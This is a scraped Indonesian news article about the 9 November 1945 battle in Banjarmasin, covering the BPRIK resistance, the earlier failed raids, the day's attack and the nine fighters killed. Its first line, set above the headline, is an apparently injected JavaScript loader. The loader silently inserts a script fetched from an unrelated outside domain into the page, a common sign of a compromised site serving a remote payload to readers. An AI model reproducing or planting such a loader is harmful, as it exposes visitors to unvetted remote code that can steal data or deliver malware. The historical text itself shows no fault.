(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Jejak Pertempuran 9 November Banjarmasin: Awal Revolusi Fisik Pejuang Banjar


KANALKALIMANTAN.COM, BANJARMASIN – Sebelum Pertempuran Surabaya pecah pada 10 November 1945 yang menjadi cikal bakal lahir Hari Pahlawan, Banjarmasin lebih dulu melakukan perlawanan terhadap penjajah pada 9 November 1945.

Peristiwa besar di Bumi Lambung Mangkurat ini dikenal sebagai Pertempuran 9 November 1945. Sekaligus menandai permulaan revolusi fisik rakyat Kalimantan -saat belum dipecah menjadi beberapa provinsi- terhadap Belanda yang ingin merebut kembali Indonesia pascakemerdekaan 17 Agustus 1945.

Sejarawan sekaligus akademisi Universitas Lambung Mangkurat (ULM), Mansyur SPd MHum menceritakan bagaimana awal mula pertempuran 9 November 1945 pecah. Bagaimana strategi pejuang Banjar, hingga pertumpahan darah terjadi demi mengusir kaum penjajah.

Sejarawan & akademisi ULM, Mansyur SPd Mhum. Foto: dok.pribadi

Latar Belakang Pertempuran 9 November 1945 Banjarmasin

Sebulan pascaproklamasi tepatnya 17 September 1945, tentara Sekutu dari Australia tiba di Banjarmasin di bawah pimpinan Kolonel Robson. Kedatangan pasukan Sekutu diikuti orang-orang Belanda dari Netherland Indie Civil Administration (NICA) di bawah kepemimpinan Mayor AL Assenderp yang masih bersikukuh menguasai kembali Kalimantan.

Sontak, kedatangan NICA begitu mengejutkan tokoh-tokoh politik yang sebelumnya menyusun pemerintah Republik Indonesia (RI) di Kalimantan melalui Komite Nasional Indonesia (KNI) Daerah Kalimantan. Belum lagi larangan Pawai Merah Putih 10 Oktober 1945 yang rencananya digelar di seluruh Kalimantan guna menyambut pemerintahan RI di Kalimantan.

“NICA datang dengan strategi matang, mereka melemahkan warga Banua dengan cara menarik tokoh-tokoh politik penting. Siasat ini berhasil dengan ditariknya Pangeran Musa Ardikesuma yang sebelumnya menjabat Residen RI kini menjadi Kiai Kepala di NICA,” ujar Mansyur kepada Kanalkalimantan, Sabtu (8/11/2025).

Sadar akan kelemahan politik tersebut, para pemuda bertekad untuk berjuang dengan cara sendiri demi meraih kemerdekaan dan mengusir pemerintahan NICA di Kalimantan. Dari tekad itu kemudian lahirlah Barisan Pemberontakan Republik Indonesia Kalimantan (BPRIK), gerakan rahasia yang dibentuk pada 16 Oktober 1945 dipimpin M Amin Effendi, Abdul Kadir, dan kawan-kawan. Anggota BPRIK sendiri berasal dari kalangan pemuda khususnya bekas Heiho.

Baca juga: Festival Pasar Terapung Lok Baintan 2025: Nadi Kehidupan Sungai Masyarakat Banjar

Tentara Sekutu dan NICA Belanda tiba di Banjarmasin pada 17 September 1945, tepat sebulan pascakemerdekaan. Foto: ist

Serangan Pertama Warga Banjarmasin di Bawah Komando BPRIK

BPRIK mulai mengkoordinasikan serangan pada tanggal 1 sampai 2 November 1945, tujuannya untuk merampas senjata di Kantor Polisi yang dipimpin oleh M Amin Effendi. Untuk memuluskan serangan ke Kantor Polisi, dibentuklah kelompok-kelompok pemuda menjadi beberapa sektor. Diantaranya Sektor Selatan di bawah pimpinan Badran berkedudukan di sekitar Rumah Sakit Ulin, Sektor Utara di bawah pimpinan Abdul Kadir Uwan, sementara M Amin Effendi sebagai Pimpinan Umum memegang Sektor Tengah.

Penyerbuan ini menargetkan Tangsi Polisi NICA di Jalan Jawa, Rumah Sakit Ulin. Di dalam tangsi itu ada tentara NICA bekas tawanan Jepang yang baru dibebaskan dari kamp konsentrasi Puruk Cuhu. Mereka dipersenjatai oleh NICA walaupun dalam keadaan lemah, sakit, dan memerlukan perawatan. Selain itu, penyerbuan awal ini turut menargetkan Tangsi Tentara NICA di Benteng Tatas (sekarang Masjid Sabilal Muhtadin), serta Pelabuhan Banjarmasin dimana sedang sandar dua buah kapal cruiser kepunyaan Sekutu (Australia).

Kelompok Pasar Baru berkekuatan 90 orang dibekali persenjataan sepucuk Bren Gun dan sepucuk pistol, selebihnya mengandalkan senjata tajam keris, pisau, mandau, dan tombak.

Di sisi lain, Kelompok M Amin Effendi bergabung dengan kelompok pemuda Jalan Belitung berkekuatan 60 orang dibekali persenjataan 4 pucuk Karabijn Jepang, 1 peti granat tangan buatan Amerika, dan sejumlah Brand Bom (Bom Api) yang biasanya digunakan dari atas pesawat terbang.

Sayangnya, persiapan yang belum matang ditambah belum ada pengalaman perang membuat NICA dengan leluasa mengetahui rencana tersebut melalui mata-mata yang menyusup ke dalam kelompok-kelompok para pejuang.

“Akibatnya, Belanda memperkuat pertahanan pada sektor-sektor yang menjadi tujuan penyerbuan tersebut,” ungkap Dosen Pendidikan Sejarah FKIP ULM ini.

BPRIK sadar bahwa NICA Belanda telah mengetahui rencana penyerangan, lantas semua penyerbuan dibatalkan kecuali sektor yang dipimpin M Amin Effendi bersama eks Heiho, antara lain Sungkono, Suryadi, dan Paat yang tetap melanjutkan penyerangan.

“Pertempuran terjadi pukul 20:15 dan berakhir pukul 23:00. Para pemuda berhasil merampas sepucuk Karabijn, sedangkan korban tidak ada,” jelas Ketua Lembaga Kajian Sejarah, Sosial, dan Budaya Kalimantan ini.

Kegagalan serangan 1-2 November tak luput dari nihil koordinasi komando, serta kapal Jawa yang dikabarkan ikut membantu tak muncul. Situasi diperparah dengan turunnya hujan yang mengganggu komunikasi antar sektor.

Meskipun serangan 1-2 November gagal, tetapi itu cukup membakar semangat perjuangan dan kesatuan dalam mengusir penjajah, karena ini menjadi bukti terbentuknya semangat anti penjajah serta ingin memperoleh kemerdekaan seperti yang telah diproklamasikan pada 17 Agustus 1945.

“Kegagalan penyerangan ini menyebabkan para pemuda menjadi lebih terangsang untuk melakukan serangan selanjutnya yang lebih besar, lebih terkoordinasi dan terencana,” beber Peneliti Pusat Kajian Budaya dan Sejarah Banjar ULM ini.

Setelah itu, NICA Belanda mulai melakukan pembersihan dengan menangkap semua rakyat yang dicurigai. Misalnya, pada 2 November 1945, orang-orang berpakaian hitam putih langsung ditangkap tanpa proses verbal lantaran dianggap sebagai pimpinan gerakan pemberontakan rakyat.

Diketahui, pada penyerangan 1 November 1945 sebelumnya, pimpinan pemberontakan berpakaian hitam putih. Adapun yang tertangkap di sini ialah Mahlan SB bersama teman-temannya.

Sama halnya pada 4 November 1945, pasukan NICA Belanda menyerang asrama eks Heiho di Banjarmasin. Upaya perlawan pun sempat dilakukan dengan mengandalkan beberapa pucuk senjata ringan saja. Akibatnya, banyak eks Heiho terpaksa harus meninggalkan kota.

Kampung Pengambangan sebagai Markas Baru BPRIK

Selepas NICA mengetahui tempat kedudukan BPRIK berada di Pasar Lama, markas besar kemudian dialihkan ke daerah Kampung Pengambangan. Di sana, ada sekelompok pejuang pemuda dari Laskar Sabilillah yang dipimpin oleh Panglima Malil Tafair dan wakilnya, Utuh Buaya. Berkekuatan 99 orang, kelompok pejuang Laskar Sabilillah ini dibekali senjata tradisional seperti keris, parang, tombak, dan sejenisnya.

Bermodal pengalaman dari kegagalan penyerbuan 1 dan 2 November membuat semangat juang pejuang Banjar dalam melakukan penyerangan kepada NICA lebih terkoordinasi dan terencana yang dijadwalkan pada 9 November 1945.

Lantas berbagai persiapan pun dilakukan mulai dari mengadakan komunikasi terhadap polisi NICA yang menaruh simpati terhadap Indonesia, mengajak warga untuk mengadakan aksi kedua setelah penyerangan 1-2 November, pemberian ilmu kekebalan, hingga penentuan waktu penyerangan.

Awalnya, terdapat dua pandangan berbeda mengenai waktu penyerangan 9 November 1945. Pandangan pertama dari kelompok Hadhariyah M yang menghendaki penyerangan berlangsung malam hari, lantaran persenjataan musuh lebih unggul dibandingkan pejuang. Di samping itu, penyerangan siang hari memudahkan pejuang untuk bersembunyi. Sedangkan pandangan kedua dari kelompok Halid yang menghendaki penyerangan siang hari, agar bisa membedakan orang-orang NICA Belanda dan tentara Australia. Kelompok ini juga percaya terhadap ilmu kekebalan mereka jika melakukan serangan di siang hari.

“Para penyerang ini yakin betul terhadap kekebalan mereka, sehingga mereka tidak gentar menghadapi musuh pada siang hari. Karena kelompok pak Halid bersikeras pada pendiriannya, maka ditentukanlah penyerangan pada siang hari Jum’at, tanggal 9 November 1945,” terang Mansyur.

Alasan lain mengapa serangan dilakukan pada siang hari adalah untuk menunjukkan pada pihak Belanda dan dunia luar bahwa para pejuang bukanlah perampok-perampok seperti yang telah diisukan NICA Belanda, tetapi memang para pejuang yang mempertahankan kemerdekaan bangsa Indonesia.

Adapun titik serangan yang disasar dengan serangan bersifat frontal antara lain Tangsi Polisi, Markas Kompi Betet, dan terakhir Kompi X. Dalam hasil rapat di Markas Besar BPRIK Pengambangan, disepakati sayap kiri dipimpin oleh Mas Untung Sabri berkekuatan 110 orang. Sayap kanan dipimpin oleh Panglima Halid Tafsiar berkekuatan 90 orang. Dan terakhir pasukan tengah atau inti dipimpin oleh M Amin Effendi berkekuatan 300 orang.

Baca juga: Makam Letda Udara Cornelius Willem Dipindahkan ke TMP Sanaman Lampang

Relief jejak pertempuran 9 November 1945 di Tugu 9 November Pengembangan, Banjarmasin. Foto: fahmi

Hari Pertempuran 9 November 1945

Tepat di hari dan waktu yang ditentukan yakni Jum’at, 9 November 1945, serangan kepada tentara Belanda akhirnya dilancarkan. Sayap tengah menuju sasaran tanpa rintangan sehingga pasukan inti ini mengepung kantor polisi dan tembakan pertama pun terdengar pada pukul 16.00. Perlawanan dilakukan Belanda dengan mengerahkan panser-panser sembari memuntahkan peluru dahsyat.

“Karena pertahanan polisi ini sangat kuat, maka sayap tengah berusaha merembes ke markas Belanda Kompi Betet dan terus menyerang Markas Kompi X yang berada di Kelayan yang dipertahankan oleh 150 orang,” tutur penerima Anugerah Cendekia Kesultanan Banjar 2020 ini.

Sementara sayap kiri di bawah komando Mas Untung awalnya maju ke pertahanan Belanda yang dipertahankan 250 orang. Kemudian merekea melanjutkan ke Maras Kompi X. Sayap kanan yang dinakhodai Panglima Halid Tafsiar juga menyusul ke Markas Kompi X dengan jalur lain sehingga ketiga pasukan ini bertemu di Markas Kompi X.

Waktu menunjukkan pukul 18.30, sebagian pasukan telah mengundurkan diri. Usai pertempuran mereda, rupanya banyak pejuang terluka termasuk M Amin Effendi yang terkena luka tembak. Pimpinan sayap kanan, Halid Tafsiar tertangkap, dan ada 9 orang yang gugur sebagai Kusuma Bangsa. Mereka adalah Badran, Badrun, Utuh, Umar, Tarin, Juma’in, Sepa, Dullah, dan Pa Ma’rupi.

Nama-namanya kemudian diabadikan dalam sebuah tugu peringatan di Jalan Jawa -sekarang Jalan DI Panjaitan- yaitu di dekat Tangsi Polisi dimana peristiwa ini terjadi. Hal ini pula mendasari pendirian Tugu 9 November 1945 di Kampung Pengambangan pada tahun 1950 yang diprakarsai oleh pucuk Pimpinan BPRIK A Ruslan, H Hadariyah, Wali Kota Sinaga, Wali Kota Hanafiah, Bupati Mustafa Ideham, serta dibantu tokoh-tokoh masyarakat Kotamadya Banjarmasin. (Kanalkalimantan.com/fahmi)

Reporter: fahmi
Editor: bie


Muhammad Andi

Recent Posts

Cek Pelayanan Kesehatan Berjalan Optimal, Bupati Wiyatno Audiensi ke RSUD Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More

1 jam ago

67 Ribu Warga Tak Lagi Ditanggung BPJS Kesehatan, Pemko Banjarmasin Upayakan Pengaktifan Kembali

KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More

17 jam ago

Janji Wali Kota Yamin Tertibkan Bangunan di Atas Sungai

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More

19 jam ago

MAFINDO Kalsel Bekali Guru di Banjarmasin Memahami Teknologi Kecerdasan Buatan

KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More

19 jam ago

Pengelolaan UNESCO Global Geopark Meratus Diperkuat

Saat ini Ada 17 Situs Geologi Utama, 50 Titik Potensial Masih Dikaji Read More

1 hari ago

Mereka Menanti Skatepark di Kota Seribu Sungai

KANALKALIMANTAN.COM, BANJARMASIN – Sudah lama para skater menanti kehadiran skatepark di Kota Banjarmasin. Pasalnya, Siring… Read More

1 hari ago

This website uses cookies.